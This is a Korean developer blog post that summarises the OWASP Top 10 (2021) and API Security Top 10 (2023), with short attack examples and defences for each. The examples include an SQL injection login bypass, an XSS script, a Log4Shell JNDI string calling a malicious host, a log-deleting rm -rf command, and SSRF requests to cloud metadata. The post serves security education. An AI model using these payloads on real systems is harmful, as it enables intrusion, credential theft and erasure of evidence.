백엔드 개발자

OWASP, API Security Top 10 본문

CS/보안

OWASP, API Security Top 10

임잠탱 2025. 2. 27. 20:24

OWASP(Open Web Application Security Project)는 웹 애플리케이션 보안 강화를 목적으로 하는 비영리 단체로,

OWASP Top 10은 가장 흔하고 위험한 보안 취약점을 정리하여 발표한다.

3,4년 주기로 발표하는데 이를 숙지하면 보안 사고를 예방하고, 애플리케이션의 보안성을 강화하는 데 도움이 될 수 있다.

21년에 발표된 OWASP Top 10을 간단히 살펴보자.

 

A01:2021 – Broken Access Control (취약한 접근 제어)

설명:
권한이 없는 사용자가 다른 사용자의 데이터나 기능에 접근할 수 있는 취약점.

공격 예시:

  1. URL 조작 (Forced Browsing)
    • 사용자가 /user/profile에서 자신의 정보를 확인하는 API가 있다고 가정.
    • 서버에서 사용자 ID를 세션 기반으로 검증하지 않고, 클라이언트가 제공하는 userId 파라미터를 그대로 사용한다면 공격자가 다음과 같이 직접 접근 가능:
    • GET /user/profile?userId=123 (정상적인 요청) GET /user/profile?userId=456 (타인의 정보 접근 가능)
  2. 관리자 권한 우회
    • 관리자 패널이 /admin에 위치해 있지만, 인증 없이 접근할 수 있는 경우:→ 일반 사용자도 관리자 패널에 접근 가능.
    • GET /admin

방어 방법:
✅ 서버 측에서 세션 기반 사용자 검증 수행
✅ RBAC(Role-Based Access Control) 적용
✅ 최소 권한 원칙 적용하여 불필요한 권한 제거


A02:2021 – Cryptographic Failures (암호학적 실패)

설명:
데이터를 암호화 없이 저장하거나, 취약한 암호화 알고리즘을 사용하여 보호하지 못하는 취약점.

공격 예시:

  1. 평문 데이터 저장
    • 비밀번호를 평문(Plaintext)으로 데이터베이스에 저장:→ 해커가 DB를 탈취하면 모든 계정이 노출됨.
    • INSERT INTO users (username, password) VALUES ('user1', 'password123');
  2. 취약한 해시 알고리즘 사용 (MD5, SHA-1)
    • 공격자는 레인보우 테이블(Rainbow Table)을 이용하여 해시 값을 역추적할 수 있음:→ MD5 해시값 482c811da5d5b4bc6d497ffa98491e38은 쉽게 역추적됨.
      • MD5는 매우 빠른 해싱 속도 때문에 무차별 대입 공격에 취약. SHA-1도 빠름.
    • INSERT INTO users (username, password) VALUES ('user1', MD5('password123'));

방어 방법:
✅ 강력한 해싱 알고리즘 사용 (Bcrypt, Argon2)
✅ HTTPS 강제 사용 및 TLS 1.2 이상 적용
✅ 보안 키 관리 시스템(KMS) 활용


A03:2021 – Injection (인젝션)

설명:
사용자 입력을 제대로 검증하지 않고 실행할 경우, 공격자가 시스템을 조작할 수 있는 취약점.

공격 예시:

  1. SQL Injection
    • 로그인 API에서 사용자 입력을 직접 SQL 쿼리에 삽입할 경우:→ 인증을 우회하여 로그인 성공.
    • SELECT * FROM users WHERE username = 'admin' AND password = ' ' OR '1'='1';
  2. XSS (Cross-Site Scripting)
    • 댓글 입력 필드에서 JavaScript 실행 코드 삽입:→ 페이지를 방문하는 사용자의 브라우저에서 악성 스크립트가 실행됨.
    • <script>alert('해킹됨!');</script>

방어 방법:
✅ Prepared Statement 사용하여 SQL Injection 방어
✅ 입력값 검증 및 특수문자 필터링 적용
✅ Content Security Policy (CSP) 설정하여 XSS 방어


A04:2021 – Insecure Design (불안전한 설계)

설명:
보안을 고려하지 않은 시스템 설계로 인해 발생하는 구조적 취약점.

공격 예시:

  1. 비밀번호 복구 기능의 허점
    • 이메일을 입력하면 비밀번호 재설정 링크를 보내지만, 공격자가 다른 사람의 이메일을 입력하여 강제 초기화 가능:→ 공격자가 피해자의 계정을 가로챌 수 있음.
    • POST /password-reset { "email": "victim@example.com" }
  2. 민감한 데이터 노출
    • JWT 토큰이 Base64로 인코딩되어 있어 공격자가 쉽게 디코딩 가능:→ Base64 디코딩하면 사용자의 정보가 그대로 노출됨.
    • eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

방어 방법:
✅ 보안 설계 리뷰(Security Design Review) 수행
✅ Zero Trust 모델 적용하여 최소 권한 원칙 준수
✅ 민감한 데이터는 반드시 암호화 적용


A05:2021 – Security Misconfiguration (보안 설정 오류)

설명:
기본 계정 사용, 불필요한 기능 활성화, 잘못된 설정으로 인해 발생하는 취약점.

 

공격 예시:

  1. 디버그 모드 활성화
    • 애플리케이션이 디버그 모드로 실행되면 공격자가 내부 정보를 확인 가능:→ 공격자는 API 응답을 통해 데이터베이스 연결 정보, 환경 변수 등을 확인할 수 있음.
    • DEBUG=True
  2. 기본 계정 유지
    • 공격자가 서비스의 기본 관리자 계정이 활성화되어 있는지 확인:→ 기본 계정이 활성화되어 있으면 즉시 로그인 가능.
    • admin:admin root:root

방어 방법:
✅ 프로덕션 환경에서 디버그 모드 비활성화
✅ 기본 계정 사용 금지 및 강력한 비밀번호 정책 적용
✅ 불필요한 포트 및 서비스 비활성화

 


A06:2021 – Vulnerable and Outdated Components (취약하거나 오래된 컴포넌트 사용)

설명:
보안 패치가 적용되지 않은 라이브러리나 프레임워크를 사용하여 공격에 노출되는 취약점.

공격 예시:

  1. 알려진 취약점 악용
    • Log4Shell (CVE-2021-44228)과 같은 보안 취약점이 있는 라이브러리를 사용하면 공격자가 원격 코드 실행을 수행할 수 있음.
    • 공격자는 취약한 버전의 Log4j를 사용하는 애플리케이션에 조작된 로그 메시지를 삽입하여 임의의 코드를 실행함.
    • ${jndi:ldap://malicious-server.com/exploit}
  2. 오래된 라이브러리 사용
    • 사용 중인 라이브러리나 프레임워크가 최신 패치를 적용하지 않아 이미 공개된 취약점에 노출됨.
    • 예: 오래된 OpenSSL 버전 사용으로 인해 Heartbleed(CVE-2014-0160) 공격 가능.

방어 방법:
✅ 최신 보안 업데이트 적용 및 자동화된 패치 관리 수행
✅ SBOM(Software Bill of Materials) 활용하여 사용 중인 라이브러리 파악
✅ 자동화된 취약점 검사 도구(Snyk, Dependabot) 사용


A07:2021 – Identification and Authentication Failures (인증 및 식별 실패)

설명:
인증 절차가 취약하거나 우회될 가능성이 있는 경우 발생하는 취약점.

공격 예시:

  1. 크리덴셜 스터핑(Credential Stuffing)
    • 유출된 사용자 계정 정보(이메일 및 패스워드)를 이용하여 자동화된 공격을 수행.
    • 공격자가 다크웹에서 유출된 패스워드 목록을 이용하여 로그인 시도.
  2. 토큰 탈취
    • 공격자가 취약한 쿠키 설정(HttpOnly 및 Secure 미적용)으로 인해 사용자의 JWT 또는 세션 토큰을 탈취.
    • document.cookie를 이용하여 인증 정보를 훔침:
    • console.log(document.cookie);

방어 방법:
✅ 다중 인증(MFA) 적용
✅ 강력한 비밀번호 정책 시행 및 비밀번호 관리 도구 활용
✅ 로그인 시도 제한 및 CAPTCHA 적용


A08:2021 – Software and Data Integrity Failures (소프트웨어 및 데이터 무결성 실패)

설명:
신뢰할 수 없는 소스에서 가져온 코드 실행, 중요 데이터 변조 가능성 등의 취약점.

공격 예시:

  1. 공급망 공격(Supply Chain Attack)
    • 공격자가 오픈소스 라이브러리에 악성 코드를 삽입하여 배포.
    • 예: NPM 패키지 이벤트 스트림(Event-Stream)에 백도어가 포함됨.
  2. CI/CD 파이프라인 공격
    • 악의적인 코드가 빌드 과정에서 삽입될 경우, 프로덕션 환경에 배포됨.
    • 서명되지 않은 코드 실행으로 인해 무결성이 손상됨.

방어 방법:
✅ 코드 서명 및 검증된 소프트웨어 사용
✅ CI/CD 환경에서 보안 검증 강화(SAST, DAST 적용)
✅ 무결성 검증 기능 적용 (예: 체크섬, 해시 검증)


A09:2021 – Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)

설명:
보안 로그가 부족하거나 실시간 감지가 불가능하여 공격을 탐지하지 못하는 문제.

공격 예시:

  1. 공격 흔적 삭제
    • 공격자가 관리자 로그 파일을 삭제하여 침입 흔적을 없앰.
    • 예: rm -rf /var/logs/auth.log
  2. 이벤트 로깅 부족
    • 로그인 실패 및 권한 변경과 같은 중요 이벤트가 로깅되지 않아 침입 탐지가 불가능함.

방어 방법:
✅ 주요 이벤트(로그인 실패, 권한 변경 등) 로깅 수행
✅ 실시간 모니터링 도입 및 SIEM(Security Information and Event Management) 활용
✅ 보안 경고 시스템 구축


A10:2021 – Server-Side Request Forgery (SSRF, 서버 측 요청 위조)

설명:
공격자가 서버를 통해 내부 네트워크로 요청을 보낼 수 있는 취약점.

공격 예시:

  1. 클라우드 메타데이터 접근
    • AWS, GCP 등의 클라우드 서비스에서는 내부 메타데이터 서버가 존재함:→ 이 요청을 실행하면 클라우드 인스턴스의 인증 키가 노출됨.
    • GET http://169.254.169.254/latest/meta-data/
  2. 내부 서비스 스캔
    • SSRF를 이용해 내부 네트워크의 서비스 검색:→ Redis 서버가 실행 중이라면 공격자가 조작 가능.
    • GET http://localhost:6379/

방어 방법:
✅ 외부 요청을 허용할 도메인 목록(Allowlist) 관리
✅ 요청 검증 및 필터링 적용
✅ 클라우드 메타데이터 접근 제한

 

 

또한, API 보안에 특화된 OWASP API security top 10도 2023년에 발표되었다.

API1:2023 – Broken Object Level Authorization (객체 수준의 권한 부여 실패)

설명:
API에서 개별 객체에 대한 권한 검증이 부족하면, 공격자가 다른 사용자의 데이터를 열람하거나 수정할 수 있음.

공격 예시:

  1. ID 변조를 통한 데이터 접근
    • 공격자가 자신의 사용자 ID를 변조하여 다른 사용자의 데이터를 조회:
    • GET /api/user/456
  2. 권한 없는 데이터 수정
    • 공격자가 요청 본문을 조작하여 다른 사용자의 데이터를 변경:
    • PUT /api/user/123 {"role": "admin"}

방어 방법:
✅ 서버 측에서 모든 요청에 대해 권한 검사를 수행
✅ 민감한 데이터를 요청할 때 사용자 인증을 강제
✅ 접근 제어 정책(Role-Based Access Control, RBAC) 적용


API2:2023 – Broken Authentication (인증 실패)

설명:
API 인증이 제대로 구현되지 않으면 공격자가 다른 사용자의 계정을 탈취할 위험이 높아짐.

공격 예시:

  1. 무차별 대입 공격 (Brute Force)
    • 약한 패스워드를 반복적으로 시도하여 로그인 성공:
    • POST /api/login {"username": "admin", "password": "1234"}
  2. 세션 탈취
    • 공격자가 액세스 토큰을 탈취하여 인증을 우회.

방어 방법:
✅ 강력한 인증 정책 (OAuth, JWT + Refresh Token) 적용
✅ 계정 잠금 및 비밀번호 시도 횟수 제한
✅ 다중 인증(MFA) 적용


API3:2023 – Broken Object Property Level Authorization (객체 속성 수준의 권한 부여 실패)

설명:
클라이언트가 서버에서 반환된 데이터 중 노출되지 말아야 할 정보를 볼 수 있거나 조작할 수 있는 취약점.

공격 예시:

  1. 응답에서 불필요한 데이터 노출
    • 서버가 불필요한 사용자 정보를 반환:
    • { "username": "user1", "role": "admin" }
  2. 클라이언트 측에서 권한 상승 시도
    • 사용자가 클라이언트에서 role 값을 변경하여 관리자 권한 획득.

방어 방법:
✅ 필요한 데이터만 응답하도록 API 설계
✅ 클라이언트가 권한을 변경할 수 없도록 서버 측 검증 강화


API4:2023 – Unrestricted Resource Consumption (무제한 리소스 소비)

설명:
API 요청이 과도하게 들어오면 서버의 리소스를 소진하여 서비스 거부(DoS) 공격이 가능해짐.

공격 예시:

  1. 무제한 이메일/SMS 전송
    • API에서 인증 없이 이메일 전송 기능을 제공하는 경우:
    • POST /api/send-email {"email": "victim@example.com", "message": "Spam"}
  2. 과도한 API 요청으로 인한 서버 부하
    • API에 속도 제한이 없으면 자동화된 스크립트를 사용하여 대량의 요청을 보냄.

방어 방법:
✅ Rate Limiting 적용 (예: Nginx, Cloudflare WAF)
✅ API 요청당 시간 제한(Throttle) 및 사용량 기반 과금 모델 적용
✅ 캐싱 활용하여 반복적인 요청 최적화


API5:2023 – Broken Function Level Authorization (기능 수준의 권한 부여 실패)

설명:
일반 사용자와 관리자의 API 기능이 명확하게 구분되지 않아, 일반 사용자가 관리자 기능을 실행할 수 있는 취약점.

공격 예시:

  1. 관리자 API 엔드포인트 접근
    • 일반 사용자가 관리자 API 엔드포인트를 직접 호출하여 계정을 삭제함:
    • POST /api/admin/deleteUser?userId=123
  2. URL 매개변수 조작하여 기능 활성화
    • 클라이언트에서 role 값을 변경하여 관리자 기능을 활성화:
    • { "role": "admin" }

방어 방법:
✅ 모든 API 엔드포인트에 대해 역할 기반 접근 제어(RBAC) 적용
✅ 관리자 기능은 별도의 인증 및 승인 절차 거치도록 설정

 

API6:2023 – Unrestricted Access to Sensitive Business Flows (민감한 비즈니스 프로세스 무제한 접근)

설명:
중요한 API 기능이 자동화된 방식으로 대량 실행될 경우, 비즈니스 프로세스가 위협받을 수 있음.

공격 예시:

  1. 자동 구매 봇 운영
    • 특정 상품을 자동으로 구매하는 API를 이용하여 재고를 독점:
    • POST /api/purchase {"productId": "123", "quantity": 100}
  2. 대량의 금융 거래 실행
    • API를 이용해 시장 조작을 위한 대량 거래 수행.

방어 방법:
✅ 중요한 API에 대해 속도 제한 및 인증 적용
✅ CAPTCHA 등 봇 탐지 시스템 적용


API7:2023 – Server Side Request Forgery (SSRF, 서버 측 요청 위조)

설명:
API 서버가 외부 URI를 요청할 때 입력 검증이 부족하여 내부 네트워크 접근이 가능함.

공격 예시:

  1. 클라우드 메타데이터 서버 접근
    • AWS 메타데이터 접근:
    • GET http://169.254.169.254/latest/meta-data/
  2. 내부 서비스 공격
    • SSRF를 통해 내부 데이터베이스 및 네트워크에 접근.

방어 방법:
✅ 외부 요청을 제한(Allowlist 적용)
✅ 내부 네트워크 주소 필터링 적용


API8:2023 – Security Misconfiguration (보안 설정 오류)

설명:
기본 계정, 불필요한 기능 활성화, 디버그 모드 유지 등으로 인해 발생하는 취약점.

공격 예시:

  1. 기본 관리자 계정 유지
    • admin/admin 같은 기본 계정이 활성화되어 있음.
  2. 디버그 모드 활성화로 내부 정보 노출
    • 공격자가 애플리케이션의 내부 정보를 확인 가능.

방어 방법:
✅ 불필요한 기능 제거 및 보안 설정 점검
✅ 환경 변수에 민감한 데이터 저장


API9:2023 – Improper Inventory Management (잘못된 API 인벤토리 관리)

설명:
API가 여러 개 존재하지만, 적절한 버전 관리가 이루어지지 않아 오래된 API가 유지되는 취약점.

공격 예시:

  1. 오래된 API 버전에 대한 공격 시도
    • v1/api에서 발견된 취약점을 v2/api에서도 재현 가능.
  2. 미사용 API 엔드포인트 악용
    • 삭제되지 않은 API를 공격하여 침입.

방어 방법:
✅ API 버전 관리를 명확하게 수행
✅ 미사용 API 삭제 및 접근 차단


API10:2023 – Unsafe Consumption of APIs (안전하지 않은 API 소비)

설명:
개발자가 외부 API를 신뢰하고 별다른 검증 없이 사용하면서 발생하는 취약점.

공격 예시:

  1. 외부 API를 통한 악성 데이터 전달
    • 공격자가 악성 입력을 API로 전달하여 실행되도록 유도.
  2. 서드 파티 API의 보안 취약점 이용
    • 외부 API에서 발생한 취약점을 악용하여 공격 수행.

방어 방법:
✅ 외부 API 입력값 검증 적용
✅ API 응답에서 예상하지 못한 데이터 확인

Comments